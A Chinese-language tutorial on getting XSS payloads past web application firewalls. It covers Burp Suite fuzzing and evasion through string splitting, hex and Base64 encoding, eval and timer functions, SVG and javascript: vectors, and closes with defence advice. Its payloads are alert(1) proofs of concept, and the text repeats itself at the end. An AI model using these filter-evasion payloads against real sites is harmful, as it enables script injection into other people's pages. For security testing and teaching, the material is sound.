Xss Bypass dog
字数 1057 2025-08-25 22:58:28

XSS Bypass 技术详解

前言

本文详细讲解XSS(跨站脚本攻击)绕过WAF(Web应用防火墙)的各种技术方法,包括Fuzz测试、字符串拼接、编码转换和特殊函数利用等技术。

Fuzz测试技术

Fuzz测试基本原理

Fuzz测试是通过自动化提交大量测试用例来发现系统漏洞的方法。在XSS绕过中,Fuzz测试可以帮助我们快速发现WAF未拦截的有效payload。

Fuzz测试实施步骤

  1. 收集payload字典

    • 从Github、Twitter等平台收集XSS payload
    • 使用公开的xss_payload分享网站资源
  2. 识别WAF拦截特征

    • 提交正常请求,记录数据包
    • 提交恶意xss_payload,记录拦截数据包
    • 比较两次提交,找出拦截特征(如文中提到的"2548"标识)
  3. 使用Burp Suite进行Fuzz

    • 使用Intruder模块导入payload字典
    • 设置Filter过滤器,过滤掉包含拦截特征(如2548)的响应
    • 分析未被拦截的有效payload

Fuzz测试优势

  • 速度快,效率高
  • 结果直接有效
  • 需要高质量的payload字典支持

字符串拼接技术

对象拼接

使用JavaScript对象连接函数可以绕过WAF检测:

top.alert(1)
this.alert(1)
self.alert(1)
parent.alert(1)
frames.alert(1)
content.alert(1)
window.alert(1)

字符串拼接

将关键函数名拆分为多个部分再拼接:

// 将alert拆分为"ale"+"rt"
['ale'+'rt'](1)

编码转换技术

十六进制编码

将函数名转换为十六进制表示:

// alert的十六进制编码
\x61\x6c\x65\x72\x74

示例payload:

<body onpageshow=self['\x61\x6c\x65\x72\x74'](1)>

拆分编码

将编码后的字符串进一步拆分:

<body onpageshow=self['\x61\x6c\x65'%2B'\x72\x74'](1)>

Base64编码

使用eval执行Base64解码后的代码:

eval(atob("YWxlcnQoMSk="))  // "alert(1)"的Base64编码

其他编码方式

  • Unicode编码
  • URL编码
  • HTML实体编码

特殊函数利用

concat()函数

用于连接字符串或数组成员:

// 字符串连接
['a','l','e','r','t'].concat('(1)').join('')

// 数组合并
['ale'].concat(['rt']).join('')

join()函数

将数组转换为字符串:

['a','l','e','r','t'].join('')('1')

定时器函数

利用setTimeout或setInterval执行代码:

setTimeout('alert(1)',0)
setInterval('alert(1)',1000)

其他有用函数

  • fromCharCode(): 从字符代码创建字符串
  • replace(): 字符串替换
  • substr(): 截取字符串

综合绕过技巧

  1. 混合使用多种技术

    • 编码 + 拼接
    • 特殊函数 + 编码
  2. 利用HTML事件属性

    
    
  3. 利用SVG标签

    <svg onload="alert(1)">
    
  4. 利用伪协议

    <a href="javascript:eval('al'+'ert(1)')">click</a>
    

防御建议

  1. 实施严格的输入过滤和输出编码
  2. 使用内容安全策略(CSP)
  3. 定期更新WAF规则
  4. 对用户输入进行多层验证
  5. 禁用危险的JavaScript函数

总结

XSS绕过技术不断发展,需要安全人员持续学习和更新防御策略。本文介绍的技术可以组合使用,创造更多变种payload。防御方应实施深度防御策略,而不仅仅是依赖单一防护措施。

XSS Bypass 技术详解 前言 本文详细讲解XSS(跨站脚本攻击)绕过WAF(Web应用防火墙)的各种技术方法,包括Fuzz测试、字符串拼接、编码转换和特殊函数利用等技术。 Fuzz测试技术 Fuzz测试基本原理 Fuzz测试是通过自动化提交大量测试用例来发现系统漏洞的方法。在XSS绕过中,Fuzz测试可以帮助我们快速发现WAF未拦截的有效payload。 Fuzz测试实施步骤 收集payload字典 : 从Github、Twitter等平台收集XSS payload 使用公开的xss_ payload分享网站资源 识别WAF拦截特征 : 提交正常请求,记录数据包 提交恶意xss_ payload,记录拦截数据包 比较两次提交,找出拦截特征(如文中提到的"2548"标识) 使用Burp Suite进行Fuzz : 使用Intruder模块导入payload字典 设置Filter过滤器,过滤掉包含拦截特征(如2548)的响应 分析未被拦截的有效payload Fuzz测试优势 速度快,效率高 结果直接有效 需要高质量的payload字典支持 字符串拼接技术 对象拼接 使用JavaScript对象连接函数可以绕过WAF检测: 字符串拼接 将关键函数名拆分为多个部分再拼接: 编码转换技术 十六进制编码 将函数名转换为十六进制表示: 示例payload: 拆分编码 将编码后的字符串进一步拆分: Base64编码 使用eval执行Base64解码后的代码: 其他编码方式 Unicode编码 URL编码 HTML实体编码 特殊函数利用 concat()函数 用于连接字符串或数组成员: join()函数 将数组转换为字符串: 定时器函数 利用setTimeout或setInterval执行代码: 其他有用函数 fromCharCode() : 从字符代码创建字符串 replace() : 字符串替换 substr() : 截取字符串 综合绕过技巧 混合使用多种技术 : 编码 + 拼接 特殊函数 + 编码 利用HTML事件属性 : 利用SVG标签 : 利用伪协议 : 防御建议 实施严格的输入过滤和输出编码 使用内容安全策略(CSP) 定期更新WAF规则 对用户输入进行多层验证 禁用危险的JavaScript函数 总结 XSS绕过技术不断发展,需要安全人员持续学习和更新防御策略。本文介绍的技术可以组合使用,创造更多变种payload。防御方应实施深度防御策略,而不仅仅是依赖单一防护措施。